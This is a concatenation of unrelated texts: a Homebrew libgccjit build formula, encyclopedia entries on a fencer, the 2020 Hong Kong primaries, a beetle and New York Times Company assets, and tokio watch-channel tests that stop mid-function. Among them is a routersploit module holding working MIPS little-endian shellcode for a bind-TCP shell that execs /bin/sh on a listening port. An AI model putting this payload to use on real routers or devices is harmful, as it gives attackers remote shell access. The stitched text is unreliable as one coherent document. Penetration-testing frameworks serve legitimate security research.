depends_on "gcc" => :test
depends_on "gmp"
depends_on "isl"
depends_on "libmpc"
depends_on "mpfr"
depends_on "zstd"
uses_from_macos "zlib"
on_macos do
on_intel do
depends_on "gcc"
end
end
# GCC bootstraps itself, so it is OK to have an incompatible C++ stdlib
cxxstdlib_check :skip
def install
# GCC will suffer build errors if forced to use a particular linker.
ENV.delete "LD"
pkgversion = "Homebrew GCC #{pkg_version} #{build.used_options*" "}".strip
# Use `lib/gcc/current` to align with the GCC formula.
args = %W[
--prefix=#{prefix}
--libdir=#{lib}/gcc/current
--disable-nls
--enable-checking=release
--with-gcc-major-version-only
--with-gmp=#{Formula["gmp"].opt_prefix}
--with-mpfr=#{Formula["mpfr"].opt_prefix}
--with-mpc=#{Formula["libmpc"].opt_prefix}
--with-isl=#{Formula["isl"].opt_prefix}
--with-zstd=#{Formula["zstd"].opt_prefix}
--with-pkgversion=#{pkgversion}
--with-bugurl=#{tap.issues_url}
--with-system-zlib
]
make_args = if OS.mac?
cpu = Hardware::CPU.arm? ? "aarch64" : "x86_64"
args << "--build=#{cpu}-apple-darwin#{OS.kernel_version.major}"
# System headers may not be in /usr/include
sdk = MacOS.sdk_path_if_needed
args << "--with-sysroot=#{sdk}" if sdk
[]
else
# Fix cc1: error while loading shared libraries: libisl.so.15
args << "--with-boot-ldflags=-static-libstdc++ -static-libgcc #{ENV.ldflags}"
# Fix Linux error: gnu/stubs-32.h: No such file or directory.
args << "--disable-multilib"
# Change the default directory name for 64-bit libraries to `lib`
# path_to_url
inreplace "gcc/config/i386/t-linux64", "m64=../lib64", "m64="
%W[
BOOT_CFLAGS=-I#{Formula["zlib"].opt_include}
BOOT_LDFLAGS=-I#{Formula["zlib"].opt_lib}
]
end
# Building jit needs --enable-host-shared, which slows down the compiler.
mkdir "build-jit" do
system "../configure", *args, "--enable-languages=jit", "--enable-host-shared"
system "make", *make_args
system "make", "install"
end
# We only install the relevant libgccjit files from libexec and delete the rest.
prefix.find do |f|
rm_r(f) if !f.directory? && !f.basename.to_s.start_with?("libgccjit")
end
# Provide a `lib/gcc/xy` directory to align with the versioned GCC formulae.
(lib/"gcc"/version.major).install_symlink (lib/"gcc/current").children
return if OS.linux? || Hardware::CPU.arm?
lib.glob("gcc/current/#{shared_library("libgccjit", "*")}").each do |dylib|
next if dylib.symlink?
# Fix linkage with `libgcc_s.1.1`. See: Homebrew/discussions#5364
gcc_libdir = Formula["gcc"].opt_lib/"gcc/current"
MachO::Tools.add_rpath(dylib, rpath(source: lib/"gcc/current", target: gcc_libdir))
end
end
test do
(testpath/"test-libgccjit.c").write <<~EOS
#include <libgccjit.h>
#include <stdlib.h>
#include <stdio.h>
static void create_code (gcc_jit_context *ctxt) {
gcc_jit_type *void_type = gcc_jit_context_get_type (ctxt, GCC_JIT_TYPE_VOID);
gcc_jit_type *const_char_ptr_type = gcc_jit_context_get_type (ctxt, GCC_JIT_TYPE_CONST_CHAR_PTR);
gcc_jit_param *param_name = gcc_jit_context_new_param (ctxt, NULL, const_char_ptr_type, "name");
gcc_jit_function *func = gcc_jit_context_new_function (ctxt, NULL, GCC_JIT_FUNCTION_EXPORTED,
void_type, "greet", 1, ¶m_name, 0);
gcc_jit_param *param_format = gcc_jit_context_new_param (ctxt, NULL, const_char_ptr_type, "format");
gcc_jit_function *printf_func = gcc_jit_context_new_function (ctxt, NULL, GCC_JIT_FUNCTION_IMPORTED,
gcc_jit_context_get_type (ctxt, GCC_JIT_TYPE_INT), "printf", 1, ¶m_format, 1);
gcc_jit_rvalue *args[2];
args[0] = gcc_jit_context_new_string_literal (ctxt, "hello %s");
args[1] = gcc_jit_param_as_rvalue (param_name);
gcc_jit_block *block = gcc_jit_function_new_block (func, NULL);
gcc_jit_block_add_eval (block, NULL, gcc_jit_context_new_call (ctxt, NULL, printf_func, 2, args));
gcc_jit_block_end_with_void_return (block, NULL);
}
int main (int argc, char **argv) {
gcc_jit_context *ctxt;
gcc_jit_result *result;
ctxt = gcc_jit_context_acquire ();
if (!ctxt) {
fprintf (stderr, "NULL ctxt");
exit (1);
}
gcc_jit_context_set_bool_option (ctxt, GCC_JIT_BOOL_OPTION_DUMP_GENERATED_CODE, 0);
create_code (ctxt);
result = gcc_jit_context_compile (ctxt);
if (!result) {
fprintf (stderr, "NULL result");
exit (1);
}
typedef void (*fn_type) (const char *);
fn_type greet = (fn_type)gcc_jit_result_get_code (result, "greet");
if (!greet) {
fprintf (stderr, "NULL greet");
exit (1);
}
greet ("world");
fflush (stdout);
gcc_jit_context_release (ctxt);
gcc_jit_result_release (result);
return 0;
}
EOS
gcc_major_ver = Formula["gcc"].any_installed_version.major
gcc = Formula["gcc"].opt_bin/"gcc-#{gcc_major_ver}"
libs = HOMEBREW_PREFIX/"lib/gcc/current"
test_flags = %W[-I#{include} test-libgccjit.c -o test -L#{libs} -lgccjit]
system gcc.to_s, *test_flags
assert_equal "hello world", shell_output("./test")
# The test below fails with the host compiler on Linux.
return if OS.linux?
# Also test with the host compiler, which many users use with libgccjit
(testpath/"test").unlink
system ENV.cc, *test_flags
assert_equal "hello world", shell_output("./test")
end
end
```
|
Lilach Parisky (born 21 July 1972) is an Israeli Olympic fencer.
Fencing career
Parisky came in 17th in foil at the 1993 World Fencing Championships.
She competed in the women's individual and team foil events for Israel at the 1996 Summer Olympics in Atlanta, at 19 years of age.
In the individual women's foil event, Parisky won in the first round, defeating Yanina Iannuzzi of Argentina, but lost in the second round. In the first round of the team foil event, against China she went 1-1-1 (defeating Liang Jun and tying with Xiao Aihua). In the second round against the United States she went 1-2 (defeating Felicia Zimmermann), as Israel came in 9th.
Parisky came in 20th in foil at the 1998 World Fencing Championships. She then came in 41st in foil at the 1999 World Fencing Championships.
References
External links
1972 births
Living people
Israeli female foil fencers
Olympic fencers for Israel
Fencers at the 1996 Summer Olympics
20th-century Israeli women
|
```python
from routersploit.core.exploit import *
from routersploit.core.exploit.payloads import (
ArchitectureSpecificPayload,
Architectures,
BindTCPPayloadMixin,
)
class Payload(BindTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
"name": "MIPSLE Bind TCP",
"description": "Creates interactive tcp bind shell for MIPSLE architecture.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
}
architecture = Architectures.MIPSLE
def generate(self):
bind_port = utils.convert_port(self.rport)
return (
b"\xe0\xff\xbd\x27" + # addiu sp,sp,-32
b"\xfd\xff\x0e\x24" + # li t6,-3
b"\x27\x20\xc0\x01" + # nor a0,t6,zero
b"\x27\x28\xc0\x01" + # nor a1,t6,zero
b"\xff\xff\x06\x28" + # slti a2,zero,-1
b"\x57\x10\x02\x24" + # li v0,4183 ( __NR_socket )
b"\x0c\x01\x01\x01" + # syscall
b"\xff\xff\x50\x30" + # andi s0,v0,0xffff
b"\xef\xff\x0e\x24" + # li t6,-17 ; t6: 0xffffffef
b"\x27\x70\xc0\x01" + # nor t6,t6,zero ; t6: 0x10 (16)
bind_port + b"\x0d\x24" + # li t5,0xFFFF (port) ; t5: 0x5c11 (0x115c == 4444 (default LPORT))
b"\x04\x68\xcd\x01" + # sllv t5,t5,t6 ; t5: 0x5c110000
b"\xfd\xff\x0e\x24" + # li t6,-3 ; t6: -3
b"\x27\x70\xc0\x01" + # nor t6,t6,zero ; t6: 0x2
b"\x25\x68\xae\x01" + # or t5,t5,t6 ; t5: 0x5c110002
b"\xe0\xff\xad\xaf" + # sw t5,-32(sp)
b"\xe4\xff\xa0\xaf" + # sw zero,-28(sp)
b"\xe8\xff\xa0\xaf" + # sw zero,-24(sp)
b"\xec\xff\xa0\xaf" + # sw zero,-20(sp)
b"\x25\x20\x10\x02" + # or a0,s0,s0
b"\xef\xff\x0e\x24" + # li t6,-17
b"\x27\x30\xc0\x01" + # nor a2,t6,zero
b"\xe0\xff\xa5\x23" + # addi a1,sp,-32
b"\x49\x10\x02\x24" + # li v0,4169 ( __NR_bind )A
b"\x0c\x01\x01\x01" + # syscall
b"\x25\x20\x10\x02" + # or a0,s0,s0
b"\x01\x01\x05\x24" + # li a1,257
b"\x4e\x10\x02\x24" + # li v0,4174 ( __NR_listen )
b"\x0c\x01\x01\x01" + # syscall
b"\x25\x20\x10\x02" + # or a0,s0,s0
b"\xff\xff\x05\x28" + # slti a1,zero,-1
b"\xff\xff\x06\x28" + # slti a2,zero,-1
b"\x48\x10\x02\x24" + # li v0,4168 ( __NR_accept )
b"\x0c\x01\x01\x01" + # syscall
b"\xff\xff\xa2\xaf" + # sw v0,-1(sp) # socket
b"\xfd\xff\x11\x24" + # li s1,-3
b"\x27\x88\x20\x02" + # nor s1,s1,zero
b"\xff\xff\xa4\x8f" + # lw a0,-1(sp)
b"\x21\x28\x20\x02" + # move a1,s1 # dup2_loop
b"\xdf\x0f\x02\x24" + # li v0,4063 ( __NR_dup2 )
b"\x0c\x01\x01\x01" + # syscall 0x40404
b"\xff\xff\x10\x24" + # li s0,-1
b"\xff\xff\x31\x22" + # addi s1,s1,-1
b"\xfa\xff\x30\x16" + # bne s1,s0 <dup2_loop>
b"\xff\xff\x06\x28" + # slti a2,zero,-1
b"\x62\x69\x0f\x3c" + # lui t7,0x2f2f "bi"
b"\x2f\x2f\xef\x35" + # ori t7,t7,0x6269 "//"
b"\xec\xff\xaf\xaf" + # sw t7,-20(sp)
b"\x73\x68\x0e\x3c" + # lui t6,0x6e2f "sh"
b"\x6e\x2f\xce\x35" + # ori t6,t6,0x7368 "n/"
b"\xf0\xff\xae\xaf" + # sw t6,-16(sp)
b"\xf4\xff\xa0\xaf" + # sw zero,-12(sp)
b"\xec\xff\xa4\x27" + # addiu a0,sp,-20
b"\xf8\xff\xa4\xaf" + # sw a0,-8(sp)
b"\xfc\xff\xa0\xaf" + # sw zero,-4(sp)
b"\xf8\xff\xa5\x27" + # addiu a1,sp,-8
b"\xab\x0f\x02\x24" + # li v0,4011 ( __NR_execve )
b"\x0c\x01\x01\x01" # syscall 0x40404
)
```
|
The 2020 Hong Kong pro-democracy primaries were held on 11 and 12 July 2020 for selecting the numbers of pro-democracy candidates for the subsequently postponed 2020 Legislative Council election to maximise the chance for the pro-democrats to achieve a majority in the 70-seat Legislative Council.
With a turnout of more than 600,000, which equals to nearly half of votes received by the pro-democracy camp in the 2016 general election, it was the most-participated primary held in the history of Hong Kong, despite the SAR government's threats of the organisers' potential breaching of the newly imposed national security law.
Traditional pro-democrat parties lost ground to the localist new faces, with an unofficial six-person alliance led by Joshua Wong and Nathan Law of the disbanded Demosistō becoming the biggest winner in the primaries. The candidates they endorsed also emerged as either top or runner-up candidates in their respective constituencies.
55 candidates and participants were arrested under the national security law on 6 January 2021, of which 47 were officially charged with conspiracy to commit subversion.
Background
In 2019 amid the historic anti-extradition protests and the pro-democracy landslide in the District Council elections, legal scholar Benny Tai, one of the initiators of the 2014 Occupy protests, put forward a plan for the pro-democrats to win a majority of the seats in the Legislative Council to block the government's bills including the expected legislation of the Article 23 of the Basic Law which would in turn put pressure on the government to implement the five key demands of the protest movement. Based on prior experience, where excessive numbers of candidates split the pro-democratic votes in the 2016 election, he proposed a primary election within the pro-democracy camp to maximise the chance for the pro-democrats to win more seats by setting a limit on the numbers of candidates and avoid wasting votes. Then, Benny Tai expects those elected legislative councillors to execute so-called "10 steps to burn with us", veto the Hong Kong SAR government's Budget bill without any reason, making a constitutional crisis and forcing the resignation of the Hong Kong SAR Chief Executive.
Mechanism
To be eligible for the primaries, each candidate had to obtain at least 100 registered voter nominations and pay a deposit of HK$10,000. The election, organised by Benny Tai and former Legislative Council member Au Nok-hin, coordinated by Power for Democracy, was set to take place from 11 to 12 July between 9 am and 9 pm. The voting system was designed by the Hong Kong Public Opinion Research Institute (PORI), which also conducted polls on the recommended candidates. The surveyed results would be used to consolidate the final list of nominees for each seat in the official election in September. Voters were required to submit proof of residency or electoral register identification, and bring a smartphone to designated polling stations where they would scan the QR code and fill out their personal details to vote.
Nominations
A total of 52 nomination lists were received during the nomination period for all five geographical constituencies, the five-seat District Council (Second) and Health Services functional constituency. Most potential candidates pledged their willingness to coordinate with organisers, except for political party Civic Passion and New Territories East candidate Law Ting-fai who declined to join the primaries.
The Kwai Chung-based small political group Neighbourhood and Worker's Service Centre (NWSC) which held one seat in the legislature also declared they would not follow the agreement in which a losing candidate in the primaries would not participate in the general election. Instead, the NWSC suggested it may drop out in the latter stage if the poll numbers suggested the candidate had no chance of winning. There was a backlash among the pro-democrats towards the NWSC, which was accused of undermining the mechanism of the primaries. The NWSC later withdrew their candidacy altogether and stated that they would not field any candidate in the general election.
Security law and legal threats
On 30 June, the National People's Congress Standing Committee (NPCSC) approved the final draft of the national security legislation for Hong Kong. Hours after the approval, leading members of pro-democracy group Demosistō Joshua Wong, Nathan Law, Agnes Chow and Jeffrey Ngo announced their departure from the party. Demosistō members had been repeatedly barred from standing for election with authorities citing their previous stance on "self-determination" for the city, of which Wong and Law were also running in the upcoming primaries as Demosistō members. Subsequently, Demosistō declared that it would disband after the mass resignations on the same day. Few days after, Nathan Law said he had fled Hong Kong in response to the security law. He later dropped out from the primaries and endorsed Tiffany Yuen.
Secretary for Constitutional and Mainland Affairs Erick Tsang warned that the primaries might violate the new Beijing-imposed national security law. Tsang said one of the objectives of the primaries was to win a majority of seats in the legislature and subsequently vote against the budget. He added this could contravene clauses in the new law prohibiting secession, subversion and collusion with foreign powers. Benny Tai refuted the claim by saying such advocacy work was in accordance with the principles of the Basic Law. He added that vetoing the budget would not constitute "seriously interfering in, disrupting, or undermining the performance of duties and functions" of the government under Article 22 of the new law because the chief executive has the power to dismiss the legislature and call a by-election.
On 10 July one day before the primaries, the Housing Authority sent out a mass letter saying all District Councillors were barred from using their offices as polling stations or for any purposes other than related to district council activities. It warned that action might be taken against the District Councillors who were found to have violated terms in their rental contracts. A pro-democracy ice cream shop also had to scrap the plan to become a polling station after the property managers warned their participation could violate the tenancy agreement. At night, Hong Kong Police raided the Public Opinion Research Institute (PORI) office in Wong Chuk Hang, accusing the organisation of dishonest use of a computer. Au Nok-hin said the police move was to suppress the weekend voting and cast a "deterrent effect" on organisers and supporters.
Results
Over 590,000 electronic ballots and more than 20,000 paper ballots were recorded throughout the two-day vote, more than 13 per cent of the total number of registered voters and far exceeding the organisers' expected turnout of 170,000. Despite the national security law and legal threats, "Hong Kong people have made history again – another miracle happened in Hong Kong," Benny Tai said. "Hong Kong people – after all these years, since 2003 – have demonstrated to the world, and also to the authorities, that we have not given up to strive for democracy."
Traditional parties lost ground in most of the direct constituencies to the localist new faces, with Democratic Party incumbent legislator Helena Wong only coming seventh in her Kowloon West constituency. Former legislator "Long Hair" Leung Kwok-hung of the League of Social Democrats managed only ninth place in New Territories East for which only the top seven candidates would run in the general election. Joseph Lee, incumbent legislator of the Health Services constituency lost to Winnie Yu of the labour union Hospital Authority Employees Alliance, which had launched a labour strike during the anti-extradition bill protests. Candidates from numerous small parties were wiped out, including Carol Ng from the Labour Party, who lost in New Territories West.
Localist candidates emerged as the new force in the primaries, with an unofficial six-person alliance led by former Demosistō secretary-general Joshua Wong, incumbent legislator Eddie Chu and endorsed by withdrawn candidate Nathan Law, all became either the top or runner-up candidate in their respective constituencies. Wong himself was the top candidate in Kowloon East, while Eddie Chu and former journalist Gwyneth Ho came first in New Territories West and New Territories East respectively. Tiffany Yuen who was endorsed by Nathan Law and activist Sunny Cheung also came in second in Hong Kong Island and Kowloon West respectively, while activist Lester Shum came in second in the District Council (Second) and Winnie Yu won the Health Services functional constituency.
|-
! scope=col style="background-color:#E9E9E9" colspan=3 rowspan=2 |Political Affiliation
! scope=col style="background-color:#E9E9E9" colspan=4 |Geographical Constituencies
! scope=col style="background-color:#E9E9E9" colspan=4 |Functional Constituencies
! scope=col style="background-color:#E9E9E9" rowspan=2 |Totalelected
|-
! style="background-color:#E9E9E9" |Popular vote
! style="background-color:#E9E9E9" |%
! style="background-color:#E9E9E9" |List
! style="background-color:#E9E9E9" |Elected
! style="background-color:#E9E9E9" |Popular vote
! style="background-color:#E9E9E9" |%
! style="background-color:#E9E9E9" |List
! style="background-color:#E9E9E9" |Elected
|-
| style="background-color:LightGreen;border-bottom-style:hidden;" rowspan="11"|
| width=1px style="background-color: " |
| align=left| Democratic Party
| 77,251 || 12.78 || 5 || 4 || 318,621 || 59.75 || 2 || 2 || 6
|-
| width=1px style="background-color: " |
| align=left| Civic Party
| 73,054 || 12.08 || 4 || 4 || 10,579 || 1.98 || 1 || 0 || 4
|-
| width=1px style="background-color: " |
| align=left| People Power
| 28,081 || 4.64 || 2 || 2 || || || || || 2
|-
| width=1px style="background-color: " |
| align=left| League of Social Democrats
| 34,962 || 5.78 || 2 || 1 || || || || || 1
|-
| width=1px style="background-color: " |
| align=left| Neo Democrats
| 15,021 || 2.48 || 2 || 1 || || || || || 1
|-
| width=1px style="background-color: " |
| align=left| HK First
| 9,308 || 1.54 || 1 || 1 || || || || || 1
|-
| width=1px style="background-color: " |
| align=left| Hong Kong Association for Democracy and People's Livelihood
| 8,776 || 1.45 || 2 || 1 || || || || || 1
|-
| width=1px style="background-color: " |
| align=left| Labour Party
| 10,860 || 1.80 || 1 || 0 || || || || || 0
|-
| width=1px style="background-color: " |
| align=left| Community Alliance
| 1,489 || 0.25 || 1 || 0 || || || || || 0
|-
| width=1px style="background-color: " |
| align=left| Professionals Guild
| || || || || 218 || 0.04 || 1 || 0 || 0
|-
| width=1px style="background-color: " |
| align=left| Independent democrats
| || || || || 54 || 0.01 || 1 || 0 || 0
|- style="background-color:LightGreen;font-weight:bold"
| align=left style="background-color:LightGreen" colspan=3 | Total for traditional democrats
| 258,802 || 42.80 || 20 || 14|| 329,472 || 61.78 || 5 || 2 || 16
|-
| style="background-color:Moccasin;border-bottom-style:hidden;" rowspan="6"|
| width=1px style="background-color: " |
| align=left| Tuen Mun Community Network
| 35,513 || 5.87 || 1 || 1 || || || || || 1
|-
| width=1px style="background-color: " |
| align=left| Tin Shui Wai Connection
| 20,525 || 3.39 || 1 || 1 || || || || || 1
|-
| width=1px style="background-color: " |
| align=left| Peninsular Commons
| 7,671 || 1.27 || 1 || 0 || || || || || 0
|-
| width=1px style="background-color: #000000" |
| align=left| Team Pang Cheuk-kei
| 2,880 || 0.48 || 1 || 0 || || || || || 0
|-
| width=1px style="background-color: #E4051E" |
| align=left| Hospital Authority Employees Alliance
| || || || || 2,493 || 0.47 || 1 || 1 || 1
|-
| width=1px style="background-color: " |
| align=left| Independent localists
| 263,546 || 43.59 || 14 || 10 || 200,780 || 37.65 || 2 || 2 || 12
|-
|- style="background-color:Moccasin;font-weight:bold"
| align=left style="background-color:Moccasin;" colspan=3 | Total for localists
| 330,135 || 54.60 || 18 || 12 || 203,273 || 38.12 || 3 || 3 || 15
|-
| width=1px style="background-color:#DDDDDD" rowspan=2 |
| width=1px style="background-color: #920C51" |
| align=left| Chai Wan Startup
| 7,974 || 1.32 || 1 || 0 || || || || || 0
|-
| width=1px style="background-color:#DDDDDD" |
| align=left| Non-aligned independents
| 7,749 || 1.28 || 3 || 0 || 516|| 0.10 || 1 || 0 || 0
|- style="font-weight:bold;background-color:#E9E9E9"
| align=left style="background-color:#E9E9E9" colspan="3"|Total
|604,660
|100.00
|42
|26
|533,261
|100.00
|9
|5
|31
|- style="font-weight:bold;background-color:#E9E9E9"
| align=left style="background-color:#E9E9E9" colspan="3"|Total valid votes
|604,660
|99.65
|rowspan=4 colspan=2|
|533,261
|100.00
|rowspan=4 colspan=3|
|- style="font-weight:bold;background-color:#E9E9E9"
| align=left style="background-color:#E9E9E9" colspan="3"|Invalid votes
| 2,101
| 0.35
|
|
|- style="font-weight:bold;background-color:#E9E9E9"
| align=left style="background-color:#E9E9E9" colspan="3"|Total votes / turnout
| 606,761
| 13.62
| 533,261
| 12.61
|- style="font-weight:bold;background-color:#E9E9E9"
| align=left style="background-color:#E9E9E9" colspan="3"|Registered voters
| 4,455,331
| 100.00
| 4,228,096
| 100.00
|}
Geographical Constituencies
Functional Constituencies
Responses
Chief Executive Carrie Lam issued a strong warning to the candidates and organisers of the primaries, saying it was subversive for them to vow to seize control of the legislature and vote down key government proposals. "If this so-called primary election's purpose is to achieve the ultimate goal of delivering what they called '35+' [lawmakers], with the objective of objecting or resisting every policy initiative of the HKSAR government, it may fall into the category of subverting the state power – one of the four types of offences under the national security law," she said.
A spokesman for Beijing's Liaison Office in Hong Kong condemned the opposition camp for ignoring the Hong Kong government's warning of possible legal breaches and pressing ahead with the primary. "It is a serious provocation to the current election system, seriously damages the fairness and impartiality of the Legislative Council election, and seriously harms to the legal rights and interests of other candidates," the office wrote. It named Benny Tai as a suspect in a possible breach of the national security law by coordinating with the opposition camp to seek control of the legislature, vote down the budget, paralyse the government and subvert the state power. It also accused Tai and the opposition of aiming to take over the city's governance by staging the Hong Kong version of a "colour revolution". The Hong Kong and Macau Affairs Office (HKMAO) also accused organiser Benny Tai of "illegally manipulating" the Hong Kong's electoral system, challenging the new national security law and acting as a political agent for foreign forces.
Benny Tai defended that the candidates were not seeking to undermine the performance of duties and functions by the body of power of the central government or of Hong Kong, referring to their agreement that pro-democrats should veto the budget if they were voted into the legislature. "Legco’s power of vetoing the budget is stated in the Basic Law," he said. "How can a power that is recognised by the Basic Law be breaching the national security law?" Amid the threats from the Beijing authorities, Au Nok-hin announced on 15 July that he would step down as the organiser of the primaries.
U.S. Secretary of State Mike Pompeo congratulated the success of the primaries and said the United States was gravely concerned over Carrie Lam's warning that the primaries might have violated the new national security law. In a statement, Pompeo said Washington would be watching developments in Hong Kong closely and urged the Legislative Council general election in September to be "equally free and fair".
Arrests and trials
53 pro-democracy activists were arrested on the morning of 6 January 2021 under the new national security law over their organisation and participation in the primaries including six organizers and 47 participants. The police also searched 72 places including home of jailed activist Joshua Wong, the offices of news outlets Apple Daily, Stand News and InMedia HK and froze more than $200,000 in funds related to the effort. Maya Wang of Human Rights Watch issued a statement condemning the arrests: "The Chinese government has decided to mark 2021 with sweeping arrests of over 50 prominent pro-democracy activists in Hong Kong, removing the remaining veneer of democracy in the city. Beijing once again has failed to learn from its mistakes in Hong Kong: that repression generates resistance, and that millions of Hong Kong people will persist in their struggle for their right to vote and run for office in a democratically elected government." The arrests also received a round of international criticism. British Foreign Secretary Dominic Raab called "the mass arrest of politicians and activists in Hong Kong is a grievous attack on Hong Kong’s rights and freedoms as protected under the Joint Declaration."
On 28 February 2021, of the 55 pro-democracy figures initially arrested in January, 47 were officially charged with conspiracy to commit subversion under the national security law.
See also
2020 Hong Kong Legislative Council candidates' disqualification controversy
Postponement of the 2020 Hong Kong legislative election
Notes
References
2021 Hong Kong legislative election
July 2020 events in China
Primary elections in Hong Kong
|
Cnemolia ituriensis is a species of beetle in the family Cerambycidae. It was described by Breuning in 1972.
References
Ancylonotini
Beetles described in 1972
|
This is a list of assets owned by the New York Times Company.
Business units
Media properties
The New York Times
The New York Times International Edition
T: The New York Times Style Magazine
The New York Times Book Review
The New York Times Magazine
The New York Times Licensing Group (NYTLicensing)
Other properties (related to the New York Times brand)
Times Books
T Brand Studio
Other assets
The Athletic
Wirecutter
Wordle
Joint ventures
The New York Times Building (58%) with Brookfield Asset Management
Investments
Scroll (web service)
Investment portfolio
Atlas Obscura
Automattic
Betaworks
Blendle
Federated Media Publishing (FMP)
theSkimm
Former assets
Regional Media Group
Thirteen dailies and one weekly newspaper primarily in the Southern United States, including titles in Alabama, California, Florida, Louisiana, North Carolina and South Carolina.
The Gadsden Times of Gadsden, Alabama
The Tuscaloosa News of Tuscaloosa, Alabama
The Press Democrat of Santa Rosa, California
The Ledger of Lakeland, Florida
Sarasota Herald-Tribune of Sarasota, Florida
Star-Banner of Ocala, Florida
The Courier of Houma, Louisiana
The Daily Comet of Thibodaux, Louisiana
The Dispatch of Lexington, North Carolina
Times-News of Hendersonville, North Carolina
The Star-News of Wilmington, North Carolina
Spartanburg Herald-Journal of Spartanburg, South Carolina
Broadcast Media Group
Radio stations
Television stations
New England Media Group
This comprised two of the three largest-circulation newspapers in Massachusetts, purchased in 1993 (Boston) and 1999 (Worcester). This group also included boston.com.
The Boston Globe of Boston, Massachusetts
Boston.com
Telegram & Gazette of Worcester, Massachusetts
Metro Boston LLC (49%)
The Globe and the other New England assets were sold to John Henry in August 2013, with the sale taking effect at the end of October. In 2014, Henry sold the Telegram & Gazette to another media group.
Other
Fenway Sports Group (17.75%, sold in 2012)
Boston Red Sox
Fenway Park
Liverpool Football Club
Fenway Sports Management
New England Sports Network (NESN) (80%)
Discovery Times (50%)
Roush Fenway Racing (50%)
About.com (sold in 2012)
Baseline StudioSystems (sold in 2011)
HelloSociety
References
External links
The New York Times Company website
Columbia Journalism Review ownership listing
New York Times Company
Company
fr:Liste des actifs détenus par The New York Times Company
|
```rust
#![allow(clippy::cognitive_complexity)]
#![warn(rust_2018_idioms)]
#![cfg(feature = "sync")]
#[cfg(all(target_family = "wasm", not(target_os = "wasi")))]
use wasm_bindgen_test::wasm_bindgen_test as test;
use tokio::sync::watch;
use tokio_test::task::spawn;
use tokio_test::{
assert_pending, assert_ready, assert_ready_eq, assert_ready_err, assert_ready_ok,
};
#[test]
fn single_rx_recv() {
let (tx, mut rx) = watch::channel("one");
{
// Not initially notified
let mut t = spawn(rx.changed());
assert_pending!(t.poll());
}
assert_eq!(*rx.borrow(), "one");
{
let mut t = spawn(rx.changed());
assert_pending!(t.poll());
tx.send("two").unwrap();
assert!(t.is_woken());
assert_ready_ok!(t.poll());
}
assert_eq!(*rx.borrow(), "two");
{
let mut t = spawn(rx.changed());
assert_pending!(t.poll());
drop(tx);
assert!(t.is_woken());
assert_ready_err!(t.poll());
}
assert_eq!(*rx.borrow(), "two");
}
#[test]
fn rx_version_underflow() {
let (_tx, mut rx) = watch::channel("one");
// Version starts at 2, validate we do not underflow
rx.mark_changed();
rx.mark_changed();
}
#[test]
fn rx_mark_changed() {
let (tx, mut rx) = watch::channel("one");
let mut rx2 = rx.clone();
let mut rx3 = rx.clone();
let mut rx4 = rx.clone();
{
rx.mark_changed();
assert!(rx.has_changed().unwrap());
let mut t = spawn(rx.changed());
assert_ready_ok!(t.poll());
}
{
assert!(!rx2.has_changed().unwrap());
let mut t = spawn(rx2.changed());
assert_pending!(t.poll());
}
{
rx3.mark_changed();
assert_eq!(*rx3.borrow(), "one");
assert!(rx3.has_changed().unwrap());
assert_eq!(*rx3.borrow_and_update(), "one");
assert!(!rx3.has_changed().unwrap());
let mut t = spawn(rx3.changed());
assert_pending!(t.poll());
}
{
tx.send("two").unwrap();
assert!(rx4.has_changed().unwrap());
assert_eq!(*rx4.borrow_and_update(), "two");
rx4.mark_changed();
assert!(rx4.has_changed().unwrap());
assert_eq!(*rx4.borrow_and_update(), "two")
}
assert_eq!(*rx.borrow(), "two");
}
#[test]
fn rx_mark_unchanged() {
let (tx, mut rx) = watch::channel("one");
let mut rx2 = rx.clone();
{
assert!(!rx.has_changed().unwrap());
rx.mark_changed();
assert!(rx.has_changed().unwrap());
rx.mark_unchanged();
assert!(!rx.has_changed().unwrap());
let mut t = spawn(rx.changed());
assert_pending!(t.poll());
}
{
assert!(!rx2.has_changed().unwrap());
tx.send("two").unwrap();
assert!(rx2.has_changed().unwrap());
rx2.mark_unchanged();
assert!(!rx2.has_changed().unwrap());
assert_eq!(*rx2.borrow_and_update(), "two");
}
assert_eq!(*rx.borrow(), "two");
}
#[test]
fn multi_rx() {
let (tx, mut rx1) = watch::channel("one");
let mut rx2 = rx1.clone();
{
let mut t1 = spawn(rx1.changed());
let mut t2 = spawn(rx2.changed());
assert_pending!(t1.poll());
assert_pending!(t2.poll());
}
assert_eq!(*rx1.borrow(), "one");
assert_eq!(*rx2.borrow(), "one");
let mut t2 = spawn(rx2.changed());
{
let mut t1 = spawn(rx1.changed());
assert_pending!(t1.poll());
assert_pending!(t2.poll());
tx.send("two").unwrap();
assert!(t1.is_woken());
assert!(t2.is_woken());
assert_ready_ok!(t1.poll());
}
assert_eq!(*rx1.borrow(), "two");
{
let mut t1 = spawn(rx1.changed());
assert_pending!(t1.poll());
tx.send("three").unwrap();
assert!(t1.is_woken());
assert!(t2.is_woken());
assert_ready_ok!(t1.poll());
assert_ready_ok!(t2.poll());
}
assert_eq!(*rx1.borrow(), "three");
drop(t2);
assert_eq!(*rx2.borrow(), "three");
{
let mut t1 = spawn(rx1.changed());
let mut t2 = spawn(rx2.changed());
assert_pending!(t1.poll());
assert_pending!(t2.poll());
tx.send("four").unwrap();
assert_ready_ok!(t1.poll());
assert_ready_ok!(t2.poll());
}
assert_eq!(*rx1.borrow(), "four");
assert_eq!(*rx2.borrow(), "four");
}
#[test]
fn rx_observes_final_value() {
// Initial value
let (tx, mut rx) = watch::channel("one");
drop(tx);
{
let mut t1 = spawn(rx.changed());
assert_ready_err!(t1.poll());
}
assert_eq!(*rx.borrow(), "one");
// Sending a value
let (tx, mut rx) = watch::channel("one");
tx.send("two").unwrap();
{
let mut t1 = spawn(rx.changed());
assert_ready_ok!(t1.poll());
}
assert_eq!(*rx.borrow(), "two");
{
let mut t1 = spawn(rx.changed());
assert_pending!(t1.poll());
tx.send("three").unwrap();
drop(tx);
assert!(t1.is_woken());
assert_ready_ok!(t1.poll());
}
assert_eq!(*rx.borrow(), "three");
{
let mut t1 = spawn(rx.changed());
assert_ready_err!(t1.poll());
}
assert_eq!(*rx.borrow(), "three");
}
#[test]
fn poll_close() {
let (tx, rx) = watch::channel("one");
{
let mut t = spawn(tx.closed());
assert_pending!(t.poll());
drop(rx);
assert!(t.is_woken());
assert_ready!(t.poll());
}
assert!(tx.send("two").is_err());
}
#[test]
fn borrow_and_update() {
let (tx, mut rx) = watch::channel("one");
assert!(!rx.has_changed().unwrap());
tx.send("two").unwrap();
assert!(rx.has_changed().unwrap());
